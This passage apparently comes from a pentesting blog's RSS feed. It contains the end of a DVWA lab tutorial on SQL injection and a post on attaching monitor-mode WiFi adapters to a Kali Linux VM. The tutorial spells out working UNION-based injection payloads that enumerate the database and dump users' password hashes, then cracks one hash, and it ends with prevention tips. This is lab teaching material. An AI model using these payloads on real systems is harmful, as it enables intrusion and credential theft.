<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="708" height="207" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-31.png" alt="" class="wp-image-3425" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-31.png 708w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-31-300x88.png 300w" sizes="auto, (max-width: 708px) 100vw, 708px" /></figure>



<p>On the left section of the page, you will see the various vulnerable pages to exploit. Click SQL Injection. You should see a page similar to this below.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="670" height="233" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-32.png" alt="" class="wp-image-3426" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-32.png 670w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-32-300x104.png 300w" sizes="auto, (max-width: 670px) 100vw, 670px" /></figure>



<h3 id="view-the-vulnerable-code" class="wp-block-heading">View the Vulnerable Code</h3>



<p>On the SQL injection page, click the View Source button at the bottom right. That will open a page with the SQL Injection source code written in PHP. When you go through the code, you will see a line like:</p>



<pre class="wp-block-preformatted">$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";</pre>



<p>That is the vulnerable line of code. At the end of the line, you can see the user input is concatenated to the SQL query without being validated. That allows us to pass arbitrary commands into the database. Let’s get started.</p>



<h4 id="basic-injection" class="wp-block-heading">Basic Injection</h4>



<p>On the SQL Injection page, we have a USER ID field. When we enter number 1, the application returns the Firstname and Surname of the user with ID 1.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="574" height="120" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-33.png" alt="" class="wp-image-3427" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-33.png 574w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-33-300x63.png 300w" sizes="auto, (max-width: 574px) 100vw, 574px" /></figure>



<p>If we continue trying numbers like 2,3,4 and 5, we still get an output. However, any number from 6 doesn’t return anything. Therefore, our web app has only five users. Behind the scenes, the SQL query that will execute in the database is:</p>



<pre class="wp-block-preformatted">SELECT First_Name,Last_Name FROM users WHERE ID='1';</pre>



<p>Other than using the USER ID field, we can also use the URL to pass our queries. When you first enter ID 1 and click submit, the URL will look like this:</p>



<pre class="wp-block-preformatted">http://172.16.81.129/dvwa/vulnerabilities/sqli/?id=1&amp;Submit=Submit#</pre>



<p>The injectable part in this URL is the id field. Delete the number 1 and enter a different value like 2 or 3, as shown below. Hit Enter.</p>



<pre class="wp-block-preformatted">http://172.16.81.129/dvwa/vulnerabilities/sqli/?id=2&amp;Submit=Submit#</pre>



<p>You will notice that this will also return the username and surname of the user with ID 2.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="459" height="295" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-34.png" alt="" class="wp-image-3428" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-34.png 459w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-34-300x193.png 300w" sizes="auto, (max-width: 459px) 100vw, 459px" /></figure>



<h4 id="always-true-injection" class="wp-block-heading">Always True Injection</h4>



<p>We looked at this when talking about How an SQL Injection attack works. Enter an input like <code>test' OR 1=1#</code> and hit <strong>Enter</strong>. That will return the username and surname of all users in the database.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="608" height="349" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-35.png" alt="" class="wp-image-3429" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-35.png 608w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-35-300x172.png 300w" sizes="auto, (max-width: 608px) 100vw, 608px" /></figure>



<p>This query will display all records that are True or False. The <code>test'</code> parameter will probably not be equal to any user in the Database and will equal to <strong>False</strong>. The other part <code>1=1</code> will be <strong>True</strong> since <strong>1</strong> (one) is equal to <strong>1</strong> (one). The <code>#</code> sign to comments out any SQL code or error. The query that executes in the database looks like this;</p>



<pre class="wp-block-preformatted">SELECT first_name, last_name FROM users WHERE user_id = 'test' or '1'='1';</pre>



<h4 id="display-rdbms-and-version" class="wp-block-heading">Display RDBMS and Version</h4>



<p>By knowing the <strong>RDMS</strong> (Relational Database Management System) running under the hood, we can successfully send malicious SQL queries. Most Web application technologies like Java, ASP.NET, PHP, etc., can give us a vivid idea of the database powering the web system. For example, PHP web apps will likely use MySQL, ASP.NET apps will most likely run on Microsoft SQL Server, while Java web systems will most likely run on Oracle or MySQL. Additionally, we can try using a combination of web technology and the Operating system to determine the database. For example, a web application running on Apache and PHP on a Linux host is probably using MySQL database.</p>



<p>However, we cannot entirely rely on this information. If the web app is vulnerable to SQL injection, then there are queries we can use to know the RDBMS and RDBMS-version running behind the scenes.</p>



<p>To know the RDBMS, we will enter anything that will make the database throw an error. In this case, we enter a single quote in the USER ID field. That will make the database read anything past the quote as a string instead of an SQL query.</p>



<p>That will throw an error, as shown below.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="931" height="82" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-36.png" alt="" class="wp-image-3430" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-36.png 931w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-36-300x26.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-36-768x68.png 768w" sizes="auto, (max-width: 931px) 100vw, 931px" /></figure>



<p>This error gave us the RDBMS name but not the version. In MySQL, we have two queries that you can use to return the database version &#8211; <code>Select version()</code> and <code>Select @@version</code>. We will use the SQL query below to get the database version.</p>



<pre class="wp-block-preformatted">test'union select null, version()#</pre>



<p>We can also use:</p>



<pre class="wp-block-preformatted">test'union select null, @@version()#</pre>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="657" height="150" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-37.png" alt="" class="wp-image-3431" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-37.png 657w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-37-300x68.png 300w" sizes="auto, (max-width: 657px) 100vw, 657px" /></figure>



<h4 id="display-the-hostname-of-our-web-app" class="wp-block-heading">Display the hostname of our web app</h4>



<p>To get the hostname on MySQL, we use the <code>@@hostname</code> query. Enter the input below in the <strong>USER ID</strong> field.</p>



<pre class="wp-block-preformatted">' union select null, @@hostname#</pre>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="412" height="201" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-38.png" alt="" class="wp-image-3432" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-38.png 412w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-38-300x146.png 300w" sizes="auto, (max-width: 412px) 100vw, 412px" /></figure>



<p>From the output above, we can see the hostname under the surname as <strong>metasploitable</strong>. Yours might be different from my mine.</p>



<h4 id="display-database-user" class="wp-block-heading">Display Database User</h4>



<p>To know the database user, we will enter the input below in the USER ID field. We will use the user() SQL function.</p>



<pre class="wp-block-preformatted">test' union select null, user() #</pre>


<p>[analogy]<strong>Note: </strong>We are using Null to make the starting query valid.[/analogy]</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="614" height="123" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-39.png" alt="" class="wp-image-3433" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-39.png 614w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-39-300x60.png 300w" sizes="auto, (max-width: 614px) 100vw, 614px" /></figure>



<p>From the output above, we can see the hostname under the surname as root@localhost.</p>



<h4 id="display-the-database-name" class="wp-block-heading">Display the Database Name</h4>



<p>To get the database name, we will use the database() function in our SQL query. Please note; this is not the RDBMS but the database on which our web app is running. Enter the query below:</p>



<pre class="wp-block-preformatted">test' union select null, database() #</pre>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="614" height="116" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-40.png" alt="" class="wp-image-3434" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-40.png 614w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-40-300x57.png 300w" sizes="auto, (max-width: 614px) 100vw, 614px" /></figure>



<p>You can see the name of the database under the Surname &#8211; dvwa.</p>



<h4 id="list-all-tables-in-the-information-schema" class="wp-block-heading">List all tables in the information schema.</h4>



<p>The Information Schema is a record that holds information about all other databases maintained by MySQL RDBMS. Enter the query below in the USER ID field.</p>



<pre class="wp-block-preformatted">test' and 1=0 union select null, table_name from information_schema.tables #</pre>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="662" height="473" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-41.png" alt="" class="wp-image-3435" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-41.png 662w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-41-300x214.png 300w" sizes="auto, (max-width: 662px) 100vw, 662px" /></figure>



<p>The tables are listed under <strong>Surname</strong>.</p>



<h4 id="list-all-user-tables-in-the-information-schema" class="wp-block-heading">List all user tables in the information schema.</h4>



<p>To display all user tables, we will start in the <strong>informarion_schema</strong> database. Enter the query below in the <strong>USER ID</strong> field and click <strong>Submit</strong>.</p>



<pre class="wp-block-preformatted">test' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#</pre>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="879" height="415" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-42.png" alt="" class="wp-image-3436" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-42.png 879w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-42-300x142.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-42-768x363.png 768w" sizes="auto, (max-width: 879px) 100vw, 879px" /></figure>



<p>The user tables are listed under the <strong>Surname</strong> field.</p>



<h4 id="list-all-column-fields-in-the-information-schema-users-table" class="wp-block-heading">List all Column fields in the information schema users table</h4>



<p>Enter the query below in the <strong>USER ID</strong> field and click <strong>Submit</strong>.</p>



<pre class="wp-block-preformatted">test' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #</pre>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="941" height="303" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-43.png" alt="" class="wp-image-3437" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-43.png 941w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-43-300x97.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-43-768x247.png 768w" sizes="auto, (max-width: 941px) 100vw, 941px" /></figure>



<p>From the output above, you see we have the First_name, Surname, and user_id fields listed.</p>



<h4 id="display-all-the-column-contents-in-the-information-schema-users-table" class="wp-block-heading">Display all the column contents in the information schema users table</h4>



<p>This is much more interesting. We will display all the authentication information of all users in the database. That includes password hashes. Enter the query below.</p>



<pre class="wp-block-preformatted">test' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #</pre>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="635" height="490" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-44.png" alt="" class="wp-image-3438" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-44.png 635w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-44-300x231.png 300w" sizes="auto, (max-width: 635px) 100vw, 635px" /></figure>



<p>From the output above, you can see the hashed password. We can go ahead and crack the hash to reveal the actual password. Some of the password cracking tools that come in handy include John the Ripper and Medusa. There are also websites where you can paste the password hash to reveal the actual password.</p>



<p>In this example, we will use <a href="https://crackstation.net" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">crackstation.net<span class="wpel-icon wpel-image wpel-icon-19"></span></a> to crack the password hash for the second user with the surname &#8211; Gordon.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="996" height="260" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-45-1.png" alt="" class="wp-image-3439" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-45-1.png 996w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-45-1-300x78.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-45-1-768x200.png 768w" sizes="auto, (max-width: 996px) 100vw, 996px" /></figure>



<h3 id="how-to-prevent-sql-injection-attacks" class="wp-block-heading">How To Prevent SQL Injection Attacks</h3>



<p>The main reason that makes web applications vulnerable to SQL injections dates back to the development (coding) stage. Here are some factors developers can consider to develop secure web systems.</p>



<ul class="wp-block-list"><li>Validate user input</li><li>Limit the use of special characters such as string concatenation</li><li>Use stored procedures in the database</li><li>Actively install security patches and updates</li><li>Implement a Web Application Firewall</li><li>Harden your Operating System and Applications</li></ul>



<h3 id="summing-up" class="wp-block-heading">Summing Up</h3>



<p>As of 2021, OWASP Top 10, a Security Framework, listed SQL injection as the number one attack mainly used by hackers and poses a significant impact on businesses and organizations. From the examples above, I believe you now understand how and why SQL injection attacks are the leading cause of massive data leaks.</p>



<p>The DVWA is a reliable platform where penetration testers can practice their skills and understand how various web vulnerabilities are exploited.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/sql-injection-exploitation-explanation-examples-using-dvwa/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3424</post-id>	</item>
		<item>
		<title>Connecting a Wireless Adapter to a Kali Linux Virtual Machine</title>
		<link>https://nooblinux.com/connecting-a-wireless-adapter-to-kali-linux-virtual-machine/</link>
					<comments>https://nooblinux.com/connecting-a-wireless-adapter-to-kali-linux-virtual-machine/#comments</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Tue, 19 Oct 2021 21:30:19 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[hardware]]></category>
		<category><![CDATA[kali]]></category>
		<category><![CDATA[virtual machines]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3399</guid>

					<description><![CDATA[In “Network hacking,” most people get confused when talking about Network adapters and Network cards. Most don’t know what they are, why we need them, and how to select the best adapter since we have so many brands and models available in the market. A wireless adapter is a device that you connect to your [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>In “Network hacking,” most people get confused when talking about Network adapters and Network cards.</p>



<p>Most don’t know what they are, why we need them, and how to select the best adapter since we have so many brands and models available in the market.</p>



<p>A wireless adapter is a device that you connect to your computer via the USB port, and it allows you to connect to WiFi networks and communicate with other devices on the network.</p>



<style>
.animated-button {
    position: relative;
    background: #1ebce6;
    padding: 12px 20px;
    border-radius: 6px;
    text-decoration: none;
    font-weight: bold;
    color: #1a1a1a;
    isolation: isolate;
    overflow: hidden;
}

.animated-button::before {
    content: '';
    position: absolute;
    top: -2px;
    left: -2px;
    right: -2px;
    bottom: -2px;
    background: linear-gradient(90deg, #1ebce6, #37DE8F, #1ebce6);
    background-size: 200% 200%;
    z-index: -1;
    border-radius: 8px;
    animation: moveGradient 3s linear infinite;
}

@keyframes moveGradient {
    0% {
        background-position: 0% 50%;
    }
    100% {
        background-position: 200% 50%;
    }
}
</style>

<div class="promo-banner" style="background: linear-gradient(45deg, #1a1a1a, #2d2d2d); border: 1px solid #1ebce6; border-radius: 8px; padding: 16px; margin: 20px 0; position: relative;">
    <div class="promo-content" style="display: flex; align-items: center; gap: 20px;">
        <div style="flex: 3;">
            <img decoding="async" src="https://nooblinux.com/wp-content/uploads/2024/12/vpn_baron_logo.webp" alt="VPNBaron" style="height: 35px; margin-bottom: 8px;">
            <p style="color: #1ebce6; margin: 0 0 8px 0;"><strong>🔥 My go-to VPN: 60% Off Special</strong></p>
            <p style="color: #ffffff; margin: 8px 0; font-size: 15px;">
                Been using VPNBaron as my go-to for years. Their Trojan protocol makes it actually undetectable when needed, support is crazy responsive, and they&#8217;re running a rare 60% off right now. Works on all devices, adapts to whatever you&#8217;re trying to do.
            </p>
        </div>
        <div style="flex: 1; text-align: center;">
            <a href="https://vpnbaron.com/members/link.php?id=2" target="_blank" class="animated-button" rel="noopener" data-wpel-link="exclude">1.99$/month</a>
        </div>
    </div>
</div>



<p><strong>However, you might wonder</strong>: &#8220;Why would I need a USB network adapter since my laptop already has an inbuilt adapter that enables me to connect to wireless networks?&#8221;</p>



<p>Well, this is among the topics that we will discuss in this post:</p>



<ul class="wp-block-list">
<li>Problems with Built-in Wireless Cards</li>



<li>Best WiFi adapters for hacking</li>



<li>How to connect a wireless adapter to Kali Linux Virtual machine</li>
</ul>






<h2 id="problems-with-built-in-wireless-cards" class="wp-block-heading">Problems With Built-in Wireless Cards</h2>



<p>There are two main problems with built-in WiFi adapters.</p>



<ol class="wp-block-list squaretype-style">
<li><strong>They can’t be used in Virtual machines</strong> &#8211; Kali inside a VM does not see the built-in WiFi card of your laptop as a WiFi adapter but will see it as an ethernet adapter. Hence you can have full internet access, but you cannot do packet injection or place the WiFi card into monitor mode.</li>



<li><strong>Most built-in cards are not suitable for hacking</strong> &#8211; In wireless hacking, there are two main factors that we look out for in adapters. That is ‘packet infection’ and support for ‘monitor mode.’ Unfortunately, most of the built-in adapters support non of these two features.</li>
</ol>



<h2 id="best-wifi-adapters-for-hacking-with-monitor-mode" class="wp-block-heading">Best WiFi Adapters for Hacking (With Monitor Mode)</h2>



<p>Before diving into the different WiFi adapter brands and models, we first need to understand the Wireless Chipset present in these adapters. Like the CPU we have in a computer, this chipset is the “Brains” of the wireless adapter.</p>



<p>It is responsible for all the processing and calculation of data flowing through it. It also determines the capability of the wireless adapter. Whether it can support monitor mode, packet injection, and works with Kali Linux or not.</p>



<p>Some of the <strong>chipset</strong> supported by Kali Linux include:</p>



<ul class="wp-block-list">
<li>Realtek RTL8812AU</li>



<li>Realtek 8187L</li>



<li>Ralink RT5370N</li>



<li>Ralink RT3572</li>



<li>Ralink RT5572</li>



<li>Ralink RT3070</li>



<li>Ralink RT307</li>



<li>Atheros AR9271</li>



<li>MT7610U</li>



<li>MT7612U</li>
</ul>



<p><strong>I understand all this information looks gibberish as of now</strong>; however, you will appreciate it when we look at the different WiFi adapters available and the chipset they use.</p>



<p>You will notice that the <a href="https://www.alfa.com.tw/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA Networks<span class="wpel-icon wpel-image wpel-icon-19"></span></a> company highly dominates the Wireless adapter market. Over the past couple of years, the company has risen to stand as the perfect supplier for efficient and reliable WIFI adapters. Other companies include <a href="https://www.tp-link.com/us/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">TP-Link<span class="wpel-icon wpel-image wpel-icon-19"></span></a> and <a href="https://www.pandawireless.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Panda<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.</p>



<p>The table below shows a list of wireless adapters supported by Kali Linux and the <strong>Chipset</strong>, <strong>Frequency</strong>, and Protocol they are using.</p>



<figure class="wp-block-table"><table><thead><tr><th>Adapter Name</th><th>Chipset</th><th>Frequency</th><th>Protocol</th></tr><tr><th><a href="https://www.amazon.com/AWUS036NEH-Range-WIRELESS-802-11b-USBAdapter/dp/B0035OCVO6" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036NEH<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Ralink RT3070</th><th>2.4GHz</th><th>802.11N</th></tr><tr><th>TP-LINK TL-WN722N 2.4GHz v1</th><th>Atheros AR9271</th><th>2.4GHz</th><th>802.11N</th></tr><tr><th><a href="https://www.amazon.com/TP-Link-TL-WN722N-Wireless-network-Adapter/dp/B002SZEOLG/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">TP-LINK TL-WN722N 2.4GHz v2/v3<span class="wpel-icon wpel-image wpel-icon-19"></span></a> (<a href="https://nooblinux.com/how-to-enable-monitor-mode-on-tp-link-tl-wn722n-v2-v3/" data-wpel-link="internal">with some workarounds</a>)</th><th>Realtek RTL8188EUS</th><th>2.4GHz</th><th>802.11N</th></tr><tr><th><a href="https://www.amazon.com/Alfa-AWUS036NH-802-11g-Wireless-Long-Range/dp/B003YIFHJY/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036NH<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Ralink RT3070</th><th>2.4GHz</th><th>802.11N</th></tr><tr><th><a href="https://www.amazon.com/Alfa-AWUS036NHA-Wireless-USB-Adaptor/dp/B004Y6MIXS/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036NHA<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Atheros AR9271</th><th>2.4GHz</th><th>802.11N</th></tr><tr><th><a href="https://www.amazon.com/gp/product/B01LY35HGO/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Panda PAU09<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Ralink RT5572</th><th>2.4GHz</th><th>802.11N</th></tr><tr><th><a href="https://www.amazon.com/ALFA-AWUS036ACH-%E3%80%90Type-C%E3%80%91-Long-Range-Dual-Band/dp/B08SJC78FH/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036ACH<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Realtek RTL8812AU</th><th>2.4GHz / 5GHz</th><th>802.11AC</th></tr><tr><th><a href="https://www.amazon.com/alfa-awus036h-802-11b-wireless-long-rang/dp/b005em292q" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036H<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Realtek 8187L</th><th>2.4GHz</th><th>802.11b/g</th></tr><tr><th><a href="https://www.amazon.com/AWUS036ACHM-802-11ac-Range-Boost-Adapter/dp/B08SJBV1N3/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036ACHM<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>MT7610U</th><th>2.4GHz / 5GHz</th><th>802.11AC</th></tr><tr><th><a href="https://www.amazon.com/Alfa-AWUS036ACM-Long-Range-Dual-Band-Wireless/dp/B073X6RL9D" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036ACM<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>MT7612U</th><th>2.4GHz / 5GHz</th><th>802.11ac/a/b/g/n</th></tr><tr><th><a href="https://www.newegg.com/alfa-network-inc-awus1900-usb-3-0/p/0XM-000A-00036" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS1900<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Realtek RTL8814AU</th><th>2.4GHz / 5GHz</th><th>802.11ac/a/b/g/n</th></tr><tr><th><a href="https://www.amazon.com/Network-AWUS036AC-Long-Range-Wide-Coverage-High-Sensitivity/dp/B01B33WU82" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036AC<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Realtek RTL8812AU</th><th>2.4GHz / 5GHz</th><th>802.11ac/a/b/g/n</th></tr><tr><th><a href="https://www.amazon.com/Network-AWUS036ACS-Wide-Coverage-Dual-Band-High-Sensitivity/dp/B0752CTSGD/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036ACS<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Realtek RTL8811AU</th><th>2.4GHz / 5GHz</th><th>802.11ac/a/b/g/n</th></tr><tr><th><a href="https://www.alfa.com.tw/products/awus036eac?variant=36473966035016" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036EAC<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Realtek RTL8812AU</th><th>2.4GHz / 5GHz</th><th>802.11ac/a/b/g/n</th></tr><tr><th><a href="https://www.ebay.com/itm/383385863645" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWPCIE-1900U<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Realtek RTL8814AU</th><th>2.4GHz / 5GHz</th><th>802.11ac/a/b/g/n</th></tr></thead></table></figure>



<p class="black-bg"><strong>Important</strong>: When it comes to <strong>TP-LINK TL-WN722N</strong>, it’s important to know that you can also get <strong>v2/v3</strong> to work with a few workarounds, although it’s sometimes assumed that only <strong>v1</strong> works.<br><br>A great and detailed tutorial on this topic is this one from <a href="https://www.youtube.com/watch?v=tYnjMiTTdms" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">David Bombal &#8211; Kali Linux TP-Link TP-WN722N<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.<br><br><strong>TL-WN722N</strong> is a decent budget WiFi adapter for our purposes, but it’s sometimes difficult to find <strong>v1</strong> in your immediate area, so <strong>v2/v3</strong> is definitely a good option.<br><br>In some cases you won’t find the adapter’s version in the product description, so I think it’s definitely good to know you can make it work no matter which of those versions it is.</p>



<h2 id="connect-a-wireless-adapter-to-kali-linux-virtual-machine-virtualbox" class="wp-block-heading">Connect a Wireless Adapter to Kali Linux Virtual Machine (VirtualBox)</h2>



<p>To connect a wireless adapter to your Kali Linux virtual machine, when using VirtualBox, you can go in the <strong>Oracle VM VirtualBox menu &gt; Devices &gt; USB &gt; [select_your_adapter]</strong>.</p>



<p>It may not list the name of the WiFi Adapter, but something related to the chipset, instead. Here, I’m using a <strong>TP-LINK TL-WN722N 2.4GHz v2/v3</strong>, and as you can see, it’s displaying <strong>Realtek 802.11n NC</strong>.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1011" height="554" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-45.jpg" alt="" class="wp-image-3413" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-45.jpg 1011w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-45-300x164.jpg 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-45-768x421.jpg 768w" sizes="auto, (max-width: 1011px) 100vw, 1011px" /></figure>



<h3 id="automatically-connect-the-wifi-adapter-to-a-virtualbox-vm" class="wp-block-heading">Automatically Connect the WiFi Adapter to a VirtualBox VM</h3>



<p>You can also automatically connect a wireless adapter to your Kali Linux virtual machine, when running VirtualBox. This way, you don’t have to manually connect it every time</p>



<p>To do this follow the steps below:</p>



<ol class="wp-block-list squaretype-style">
<li>Shutdown the Kali virtual machine if it was already running</li>



<li>Connect your Wireless USB adapter to your PC</li>



<li>Right-click on your Kali Virtual machine and select the Settings option. A window will open displaying all the different configuration options.</li>



<li>Click on the USB option and check the Enable USB controller check box.<br><br><figure><img decoding="async" style="width: undefinedpx;" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-45.png"></figure><br><br>We will need to add a USB filter on this window that will enable us to mount our wireless adapter to the Kali VirtualBox VM.</li>



<li>Click on the USB icon that has a plus (+) sign and select your Wireless adapter.<br><strong>Note</strong>: Be careful since the adapter may appear with the chipset na,e instead of the Brand name. For example, my adapter in this case is <strong>TP-LINK TL-WN722N 2.4GHz v1</strong> but was listed under the chipset name <strong>Atheros AR9271</strong>.<br><br>If you are not sure of the adapter&#8217;s name, just remove it, and you will notice the name that will disappear from the VirtualBox USB list.<br><br><figure><img decoding="async" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-46.png"></figure><br></li>



<li>Your wireless adapter will be listed under the “USB Device Filters” section.<br><br><figure><img decoding="async" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-47.png"></figure><br></li>



<li>To finalize everything, right-click on your newly added USB filter and select the Edit Filters option.<br>A window will open listing all the details about your wireless adapter. Then, on the Remote option, click on the dropdown and select Yes.<br><br><figure><img decoding="async" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-48.png"></figure><br></li>



<li>Click Ok to save your configurations.</li>
</ol>



<h2 id="connect-a-wireless-adapter-to-kali-linux-virtual-machine-vmware-player" class="wp-block-heading">Connect a Wireless Adapter to Kali Linux Virtual Machine (VMware Player)</h2>



<p>To connect a wireless adapter to your Kali Linux virtual machine, when using VMware Player, you can go to the <strong>VMware Player menu &gt; Player &gt; Removable Devices &gt; [your_adapter] &gt; Connect (Disconnect from host)</strong>.</p>



<p>It may not list the name of the WiFi Adapter, but something related to the chipset, instead. Here, I’m using a <strong>TP-LINK TL-WN722N 2.4GHz v2/v3</strong>, and as you can see, it’s displaying <strong>Realtek 802.11n NC</strong>.</p>



<p>You should then receive a message informing you that the device will be safely stopped and disconnected from the host machine, so it can then be connected to Kali Linux in the VMware player.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="987" height="571" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-49.jpg" alt="" class="wp-image-3418" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-49.jpg 987w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-49-300x174.jpg 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-49-768x444.jpg 768w" sizes="auto, (max-width: 987px) 100vw, 987px" /></figure>



<p class="orange-border">I&#8217;m not sure of an easy way how you can automatically connect a WiFi Adapter with VMware Player, as we did with VirtualBox. The solution in VMware knowledge base seems to involve a bit of work <a href="https://kb.vmware.com/s/article/1648" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">https://kb.vmware.com/s/article/1648<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, and I haven&#8217;t tried it myself. <em>If anyone has an easier solution for this and would like to share, then we&#8217;d love to hear from you</em>.</p>



